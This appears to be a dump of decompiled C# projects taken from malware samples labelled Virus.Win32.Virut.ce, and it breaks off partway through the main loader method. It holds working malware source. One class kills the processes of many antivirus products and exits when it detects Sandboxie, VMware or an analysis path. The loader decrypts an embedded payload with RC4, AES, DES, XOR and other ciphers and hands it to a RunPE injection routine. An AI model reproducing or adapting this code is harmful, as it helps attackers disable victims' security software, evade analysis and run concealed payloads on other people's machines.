<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Properties/Settings.cs
+21
View File
@@ -0,0 +1,21 @@
// Decompiled with JetBrains decompiler
// Type: cfFncEnabler.Properties.Settings
// Assembly: cfFncEnabler, Version=1.0.0.18, Culture=neutral, PublicKeyToken=null
// MVID: 332E9E14-3026-4FC8-B925-0BA2C251918E
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee.exe
using System.CodeDom.Compiler;
using System.Configuration;
using System.Runtime.CompilerServices;
namespace cfFncEnabler.Properties
{
[CompilerGenerated]
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
internal sealed class Settings : ApplicationSettingsBase
{
private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings());
public static Settings Default => Settings.defaultInstance;
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Virus.Win32.Virut.ce.csproj
+51
View File
@@ -0,0 +1,51 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{2913AEE4-BF90-478F-9042-DF69544C4ECC}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>cfFncEnabler</AssemblyName>
<ApplicationVersion>1.0.0.18</ApplicationVersion>
<RootNamespace>cfFncEnabler</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Drawing" />
<Reference Include="System.Management" />
<Reference Include="System.ServiceProcess" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="Form1.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\Resources.cs" />
<Compile Include="Properties\Settings.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Form1.resx" />
<EmbeddedResource Include="Properties\Resources.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Virus.Win32.Virut.ce.sln
+20
View File
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "cfFncEnabler", "Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee.csproj", "{2913AEE4-BF90-478F-9042-DF69544C4ECC}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{2913AEE4-BF90-478F-9042-DF69544C4ECC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{2913AEE4-BF90-478F-9042-DF69544C4ECC}.Debug|Any CPU.Build.0 = Debug|Any CPU
{2913AEE4-BF90-478F-9042-DF69544C4ECC}.Release|Any CPU.ActiveCfg = Release|Any CPU
{2913AEE4-BF90-478F-9042-DF69544C4ECC}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/AssemblyInfo.cs
+10
View File
@@ -0,0 +1,10 @@
using System.Reflection;
[assembly: AssemblyCopyright("xSPbVCJQBPpfPCoR")]
[assembly: AssemblyDescription("TedybRsjgpokUvsAHMYaBMSsGruyv")]
[assembly: AssemblyTitle("jseEiuRiWjuDNIfRFtRiZFMfRFr")]
[assembly: AssemblyTrademark("axkjxNLMMEpAjwSgzNqNVqywRooE")]
[assembly: AssemblyProduct("JCGLNbNBiQiAK")]
[assembly: AssemblyCompany("yDVejtAJsxldpoueOZp")]
[assembly: AssemblyFileVersion("299.911.668.179")]
[assembly: AssemblyVersion("830.23.182.254")]
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/CD.cs
+55
View File
@@ -0,0 +1,55 @@
// Decompiled with JetBrains decompiler
// Type: CD
// Assembly: 3, Version=830.23.182.254, Culture=neutral, PublicKeyToken=null
// MVID: 3AB55594-508F-4214-AA1C-DD579280B133
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d.exe
using System;
using System.Text;
public class CD
{
public static string format(string input)
{
StringBuilder stringBuilder = new StringBuilder();
string[] strArray = CD.SplitString(input, 50000L);
int num = checked (strArray.Length - 1);
int index = 0;
while (index <= num)
{
if (index == checked (strArray.Length - 1))
stringBuilder.Append("\"" + strArray[index] + "\"");
else
stringBuilder.Append("\"" + strArray[index] + "\" & _\r\n");
checked { ++index; }
}
return stringBuilder.ToString();
}
private static string[] SplitString(string input, long partsize)
{
long num1 = checked ((long) Math.Round(Math.Ceiling(unchecked ((double) input.Length / (double) partsize))));
string[] strArray = new string[checked ((int) (num1 - 1L) + 1)];
long sourceIndex = 0;
int num2 = checked ((int) (num1 - 1L));
int index = 0;
while (index <= num2)
{
if ((long) index == checked (num1 - 1L))
{
char[] destination = new char[checked ((int) ((long) input.Length - sourceIndex - 1L) + 1)];
input.CopyTo(checked ((int) sourceIndex), destination, 0, checked ((int) ((long) input.Length - sourceIndex)));
strArray[index] = Convert.ToString(new string(destination));
}
else
{
char[] destination = new char[checked ((int) (partsize - 1L) + 1)];
input.CopyTo(checked ((int) sourceIndex), destination, 0, checked ((int) partsize));
strArray[index] = Convert.ToString(new string(destination));
checked { sourceIndex += partsize; }
}
checked { ++index; }
}
return strArray;
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/Daanteys.cs
+389
View File
@@ -0,0 +1,389 @@
// Decompiled with JetBrains decompiler
// Type: Daanteys
// Assembly: 3, Version=830.23.182.254, Culture=neutral, PublicKeyToken=null
// MVID: 3AB55594-508F-4214-AA1C-DD579280B133
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
public class Daanteys
{
public static void Enable()
{
Daanteys.mofa();
Daanteys.aag();
Daanteys.aas();
Daanteys.aav();
Daanteys.aavg();
Daanteys.abg();
Daanteys.acav();
Daanteys.ac();
Daanteys.aen32();
Daanteys.ae();
Daanteys.afprot6();
Daanteys.ak();
Daanteys.ama();
Daanteys.an();
Daanteys.aos();
Daanteys.aop();
Daanteys.apc();
Daanteys.asp();
Daanteys.ass();
Daanteys.ate();
Daanteys.avp();
Daanteys.aza();
}
public static void asb(Form frmSelect)
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = 1;
label_1:
int num3 = 2;
if (!frmSelect.Text.Contains("#"))
goto label_9;
label_2:
num3 = 3;
frmSelect.Close();
ProjectData.EndApp();
goto label_9;
label_4:
num2 = num3;
switch (num1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
case 5:
case 6:
goto label_9;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_4;
}
throw ProjectData.CreateProjectError(-2146828237);
label_9:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
public static void ama()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "mcagentmcuimgr", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void aavg()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "avgemc", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void aas()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "a2servic", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void aav()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ashWebSv", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void acav()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "clamauto", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void ac()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "cpf", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void ae()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ewido", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void afprot6()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "FPAVServer", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void ak()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "kavsvc", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void abg()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "BullGuard", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void aza()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "VSMON", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void aag()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "antigen", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void an()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ccapp", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void aos()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "tmlisten", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void apc()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "pccntmon", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void asp()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "earthagent", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void ass()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "spysweeper", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void avp()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "vpcmapvmsrvc", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void aop()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "acs.exe", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
public static void aen32()
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "nod32.exenod32krn.exeekrn.exe", false) == 0)
processes[index].Kill();
checked { ++index; }
}
}
[DllImport("user32", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern long FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName);
public static void mofa()
{
Daanteys.uHmixyIUKrMQgWOandboxie();
Daanteys.IsVmWare();
Daanteys.ate();
}
public static void uHmixyIUKrMQgWOandboxie()
{
if (Process.GetProcessesByName("SbieSvc").Length < 1)
return;
Environment.Exit(0);
}
public static void IsVmWare()
{
string str1 = "VMDragDetectWndClass";
ref string local1 = ref str1;
string str2 = (string) null;
ref string local2 = ref str2;
if (Daanteys.FindWindow(ref local1, ref local2) != 0L)
return;
Environment.Exit(0);
}
private static void ate()
{
if (!Process.GetCurrentProcess().MainModule.FileName.Contains("sample"))
return;
Environment.Exit(0);
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/My/MyApplication.cs
+18
View File
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: My.MyApplication
// Assembly: 3, Version=830.23.182.254, Culture=neutral, PublicKeyToken=null
// MVID: 3AB55594-508F-4214-AA1C-DD579280B133
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d.exe
using Microsoft.VisualBasic.ApplicationServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
namespace My
{
[GeneratedCode("MyTemplate", "8.0.0.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal class MyApplication : ApplicationBase
{
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/My/MyComputer.cs
+24
View File
@@ -0,0 +1,24 @@
// Decompiled with JetBrains decompiler
// Type: My.MyComputer
// Assembly: 3, Version=830.23.182.254, Culture=neutral, PublicKeyToken=null
// MVID: 3AB55594-508F-4214-AA1C-DD579280B133
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
namespace My
{
[GeneratedCode("MyTemplate", "8.0.0.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal class MyComputer : Computer
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyComputer()
{
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/My/MyProject.cs
+108
View File
@@ -0,0 +1,108 @@
// Decompiled with JetBrains decompiler
// Type: My.MyProject
// Assembly: 3, Version=830.23.182.254, Culture=neutral, PublicKeyToken=null
// MVID: 3AB55594-508F-4214-AA1C-DD579280B133
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace My
{
[HideModuleName]
[StandardModule]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal sealed class MyProject
{
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
[HelpKeyword("My.Computer")]
internal static MyComputer Computer
{
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
}
[HelpKeyword("My.Application")]
internal static MyApplication Application
{
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
}
[HelpKeyword("My.User")]
internal static User User
{
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
}
[HelpKeyword("My.WebServices")]
internal static MyProject.MyWebServices WebServices
{
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
}
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class MyWebServices
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override int GetHashCode() => base.GetHashCode();
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
internal new Type GetType() => typeof (MyProject.MyWebServices);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override string ToString() => base.ToString();
[DebuggerHidden]
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyWebServices()
{
}
}
[ComVisible(false)]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class ThreadSafeObjectProvider<T> where T : new()
{
internal T GetInstance
{
[DebuggerHidden] get
{
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
}
}
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public ThreadSafeObjectProvider()
{
}
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/TempRes.resx
+223
View File
File diff suppressed because one or more lines are too long
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/Virus.Win32.Virut.ce.csproj
+49
View File
@@ -0,0 +1,49 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{11B77748-979C-4C0E-A146-0C7D473A3948}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>3</AssemblyName>
<ApplicationVersion>830.23.182.254</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="fjYIWqNzRsrEuPM.cs" />
<Compile Include="Daanteys.cs" />
<Compile Include="CD.cs" />
<Compile Include="My\MyApplication.cs" />
<Compile Include="My\MyComputer.cs" />
<Compile Include="My\MyProject.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="TempRes.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/Virus.Win32.Virut.ce.sln
+20
View File
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "3", "Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d.csproj", "{11B77748-979C-4C0E-A146-0C7D473A3948}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{11B77748-979C-4C0E-A146-0C7D473A3948}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{11B77748-979C-4C0E-A146-0C7D473A3948}.Debug|Any CPU.Build.0 = Debug|Any CPU
{11B77748-979C-4C0E-A146-0C7D473A3948}.Release|Any CPU.ActiveCfg = Release|Any CPU
{11B77748-979C-4C0E-A146-0C7D473A3948}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/fjYIWqNzRsrEuPM.cs
+355
View File
@@ -0,0 +1,355 @@
// Decompiled with JetBrains decompiler
// Type: fjYIWqNzRsrEuPM
// Assembly: 3, Version=830.23.182.254, Culture=neutral, PublicKeyToken=null
// MVID: 3AB55594-508F-4214-AA1C-DD579280B133
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
using System.CodeDom.Compiler;
using System.Diagnostics;
using System.IO;
using System.Net.NetworkInformation;
using System.Reflection;
using System.Resources;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
using System.Windows.Forms;
[StandardModule]
internal sealed class fjYIWqNzRsrEuPM
{
public static string yqtchzIOqOKBrSD;
public static string lJwYYoItFcgpqET;
[STAThread]
public static void Main()
{
char ch = '%';
ResourceManager resourceManager = new ResourceManager("TempRes", Assembly.GetExecutingAssembly());
Encoding encoding = Encoding.Default;
string str1 = resourceManager.GetString("crypted");
string str2 = resourceManager.GetString("settings");
fjYIWqNzRsrEuPM.yqtchzIOqOKBrSD = resourceManager.GetString("bind");
fjYIWqNzRsrEuPM.lJwYYoItFcgpqET = resourceManager.GetString("runpe");
string[] strArray = str2.Split(ch);
string str3 = strArray[2];
string Left1 = strArray[1];
string Left2 = strArray[4];
string Left3 = strArray[5];
string Left4 = strArray[3];
string Left5 = strArray[11];
string Left6 = strArray[6];
if (Operators.CompareString(strArray[10], "1", false) == 0)
fjYIWqNzRsrEuPM.aXQMuDulpbuaEay();
if (Operators.CompareString(Left4, "1", false) == 0)
Daanteys.Enable();
if (Operators.CompareString(Left3, "1", false) == 0)
new Thread(new ThreadStart(fjYIWqNzRsrEuPM.mMBTPviKNdprvRd))
{
IsBackground = true
}.Start();
if (Environment.OSVersion.Platform.ToString().Contains("32") || Environment.OSVersion.Platform.ToString().Contains("86"))
{
if (Operators.CompareString(Left1, "RC4", false) == 0)
fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.YkqdEiNjkYEcGHU(str1, str3))).Replace("%%42%%", Application.ExecutablePath));
else if (Operators.CompareString(Left1, "AES", false) == 0)
fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.PhCrUkyjFEeSSOb(str1, str3))).Replace("%%42%%", Application.ExecutablePath));
else if (Operators.CompareString(Left1, "DES", false) == 0)
fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.DfrVzRBLTZVYiTu(str1, str3))).Replace("%%42%%", Application.ExecutablePath));
else if (Operators.CompareString(Left1, "RC2", false) == 0)
fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.VhCqeEsmyAGjexn(str1, str3))).Replace("%%42%%", Application.ExecutablePath));
else if (Operators.CompareString(Left1, "STR", false) == 0)
fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.ghWPuuObTVRPWrY(str1, str3))).Replace("%%42%%", Application.ExecutablePath));
else if (Operators.CompareString(Left1, "XOR", false) == 0)
fjYIWqNzRsrEuPM.roKWNVYxmxtHPPs(fjYIWqNzRsrEuPM.lJwYYoItFcgpqET.Replace("%%40%%", CD.format(fjYIWqNzRsrEuPM.ZHfmltHRHxetfJW(str1, str3))).Replace("%%42%%", Application.ExecutablePath));
else if (Operators.CompareString(Left1, "TDES", false) == 0)
